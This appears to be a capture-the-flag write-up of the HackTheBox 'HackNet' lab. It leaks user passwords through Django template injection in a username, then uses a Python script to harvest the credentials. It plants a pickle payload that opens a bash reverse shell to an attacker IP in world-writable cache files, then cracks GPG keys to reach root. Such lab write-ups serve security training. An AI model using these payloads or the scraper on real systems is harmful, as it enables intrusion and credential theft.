# HTB-HackNet ![image](https://hackmd.io/_uploads/rJg4G_Raex.png) ![image](https://hackmd.io/_uploads/By0szORTee.png) ![image](https://hackmd.io/_uploads/ryxPMuRaxx.png) ![image](https://hackmd.io/_uploads/B1MiMOA6xx.png) ![image](https://hackmd.io/_uploads/ryfAVdRagl.png) create account and login ![image](https://hackmd.io/_uploads/SyYZmOCaxg.png) ![image](https://hackmd.io/_uploads/BJizmd0Txx.png) We can edit our user profile and upload a profile picture. Testing for insecure file upload vulnerabilities yielded no results. ![image](https://hackmd.io/_uploads/Hk3fHOATgg.png) I find this in search look wierd, i think we need to read information from him ![image](https://hackmd.io/_uploads/BkBcLuRpge.png) When i try another function i found two endpoints: * GET /like/<POST_ID> - Makes a like on a post * GET /likes/<POST_ID> - Lists all users that liked the post When i like a post then click to likes it appear the list user have like. I was change my name to `{{ users }}` ![image](https://hackmd.io/_uploads/HJN3CdApgx.png) Then like a post and click to likes, it appear like list user have like ![image](https://hackmd.io/_uploads/SygEAdAplx.png) ![image](https://hackmd.io/_uploads/H1x11YCTel.png) ``` <QuerySet [ <SocialUser: cyberghost>, <SocialUser: shadowcaster>, <SocialUser: glitch>, <SocialUser: netninja>, <SocialUser: exploit_wizard>, <SocialUser: whitehat>, <SocialUser: deepdive>, <SocialUser: virus_viper>, <SocialUser: brute_force>, <SocialUser: {{ users }}> ]> ``` This [link](https://python.plainenglish.io/ssti-django-querysets-9de55c46cd1a) have some QuerySets very helpful I try with `{{users.values}}` ![image](https://hackmd.io/_uploads/SyHF7tCpxx.png) Do the same method before and appear list username and password ![image](https://hackmd.io/_uploads/H15JVKR6ll.png) ``` <QuerySet [{'id': 2, 'email': 'hexhunter@ciphermail.com', 'username': 'hexhunter', 'password': 'H3xHunt3r!', 'picture': '2.jpg', 'about': 'A seasoned reverse engineer specializing in binary exploitation. Loves diving into hex editors and uncovering hidden data.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 6, 'email': 'shadowcaster@darkmail.net', 'username': 'shadowcaster', 'password': 'Sh@d0wC@st!', 'picture': '6.jpg', 'about': 'Specializes in social engineering and OSINT techniques. A master of blending into the digital shadows.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 7, 'email': 'blackhat_wolf@cypherx.com', 'username': 'blackhat_wolf', 'password': 'Bl@ckW0lfH@ck', 'picture': '7.png', 'about': 'A black hat hacker with a passion for ransomware development. Has a reputation for leaving no trace behind.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 9, 'email': 'glitch@cypherx.com', 'username': 'glitch', 'password': 'Gl1tchH@ckz', 'picture': '9.png', 'about': 'Specializes in glitching and fault injection attacks. Loves causing unexpected behavior in software and hardware.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 12, 'email': 'codebreaker@ciphermail.com', 'username': 'codebreaker', 'password': 'C0d3Br3@k!', 'picture': '12.png', 'about': 'A programmer with a talent for writing malicious code and cracking software protections. Loves breaking encryption algorithms.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': False, 'is_hidden': False, 'two_fa': False}, {'id': 16, 'email': 'shadowmancer@cypherx.com', 'username': 'shadowmancer', 'password': 'Sh@d0wM@ncer', 'picture': '16.png', 'about': 'A master of disguise in the digital world, using cloaking techniques and evasion tactics to remain unseen.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 21, 'email': 'whitehat@darkmail.net', 'username': 'whitehat', 'password': 'Wh!t3H@t2024', 'picture': '21.jpg', 'about': 'An ethical hacker with a mission to improve cybersecurity. Works to protect systems by exposing and patching vulnerabilities.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 24, 'email': 'brute_force@ciphermail.com', 'username': 'brute_force', 'password': 'BrUt3F0rc3#', 'picture': '24.jpg', 'about': 'Specializes in brute force attacks and password cracking. Loves the challenge of breaking into locked systems.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 25, 'email': 'shadowwalker@hushmail.com', 'username': 'shadowwalker', 'password': 'Sh@dowW@lk2024', 'picture': '25.jpg', 'about': 'A digital infiltrator who excels in covert operations. Always finds a way to walk through the shadows undetected.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': False, 'is_hidden': False, 'two_fa': False}, {'id': 29, 'email': 'a@a.com', 'username': '{{users.values}}', 'password': '1', 'picture': 'profile.png', 'about': '', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': True, 'two_fa': False}]> ``` So we need write script to get all information user Script login by my account, then like all post and click all the likes to get last images have `<QuerySet`. If don't have try again. I use regex to find the html tag `<img>`. When find the correct img, i use regex to find username, password, email ``` import requests import re import html url = "http://hacknet.htb/" headers = {"Cookie": "csrftoken=EaItn7JfwzM0iH167M1YFtPDyIhlingh; sessionid=hv26i0t5dw4nz0dl40ko6n13heyu8unc"} all_users = set() for i in range(1, 31): requests.get(f"{url}/like/{i}", headers=headers) text = requests.get(f"{url}/likes/{i}", headers=headers).text img_titles = re.findall(r'<img [^>]*title="([^"]*)"', text) if not img_titles: continue last_title = html.unescape(img_titles[-1]) if "<QuerySet" not in last_title: requests.get(f"{url}/like/{i}", headers=headers) text = requests.get(f"{url}/likes/{i}", headers=headers).text img_titles = re.findall(r'<img [^>]*title="([^"]*)"', text) if img_titles: last_title = html.unescape(img_titles[-1]) emails = re.findall(r"'email': '([^']*)'", last_title) passwords = re.findall(r"'password': '([^']*)'", last_title) usernames = re.findall(r"'username': '([^']*)'", last_title) for email, p, username in zip(emails, passwords, usernames): all_users.add(f"{email}:{p}:{username}") for item in all_users: print(item) ``` After a few minuties i get all account ![image](https://hackmd.io/_uploads/SJQeaFCpgl.png) So hidden account is mikey@hacknet.htb:mYd4rks1dEisH3re:backdoor_bandit Then ssh to get user flag (you can try by hydra to confirm mikey password). ![image](https://hackmd.io/_uploads/HJKuptC6gg.png) We need to have Lateral Movement to sandy and crack file gpg ![image](https://hackmd.io/_uploads/ByeMgl9RTel.png) Django uses different caching backends (FileBasedCache, Memcached, Redis). If no external cache is configured, Django defaults to storing cache data on the filesystem, typically under /var/tmp/django_cache/ https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/django.html#pickle-backed-session-cookie-rce Key observations: * Directory is world-writable (777 permissions) * Owned by user sandy and group www-data * Django stores cache as Pickle files here When visit the site /explore (or refreash), django create file cache ![image](https://hackmd.io/_uploads/Bkwir9RTxe.png) I use [this method](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) to get revshell ``` import pickle import base64 # Exploit object class Exploit: def __reduce__(self): import os return (os.system, (f'bash -c "bash -i >& /dev/tcp/10.10.16.65/4444 0>&1"',),) payload = base64.b64encode(pickle.dumps(Exploit())) print(payload) ``` ![image](https://hackmd.io/_uploads/r1E0_7JRxl.png) Go to the site /explore (or refreash), django create file cache, then copy the base64 form the code and paste to all file cache. ![image](https://hackmd.io/_uploads/SJdpt7yCgx.png) Then refreash the page /explore and get shell user sandy ![image](https://hackmd.io/_uploads/r1yzcmyCgx.png) Do you remember the gpg encrypted files in the website directory above? We need to find private key to crack that file I upload linpeas.sh to user sandy ![image](https://hackmd.io/_uploads/ryGMam1Reg.png) And i find the folder private key in /home/sandy/.gnupg/private-keys-v1.d ![image](https://hackmd.io/_uploads/rJ0-RQJCge.png) ![image](https://hackmd.io/_uploads/H1O3AQyAee.png) I copy all the file in /home/sandy/.gnupg/private-keys-v1.d and /var/www/HackNet/backups/ to /tmp/test ![image](https://hackmd.io/_uploads/SJAGgEk0ex.png) I move all file to my kali ![image](https://hackmd.io/_uploads/B1w9x4kCxe.png) ![image](https://hackmd.io/_uploads/H1RqlNyAee.png) Convert GPG key to crackable hash and crack by john ![image](https://hackmd.io/_uploads/BkvNW4JAll.png) Import the GPG key and Decrypt backup ![image](https://hackmd.io/_uploads/B1fezE1Rlg.png) ![image](https://hackmd.io/_uploads/SJLIz4kAel.png) ![image](https://hackmd.io/_uploads/rkQuME1Rgx.png) Try with other file but when i open file backup2.sql and find password, db show the root password ![image](https://hackmd.io/_uploads/HycyQVJ0xg.png) root:h4ck3rs4re3veRywh3re99 Try ssh and it work, get root flag ![image](https://hackmd.io/_uploads/BJomEEkAgg.png)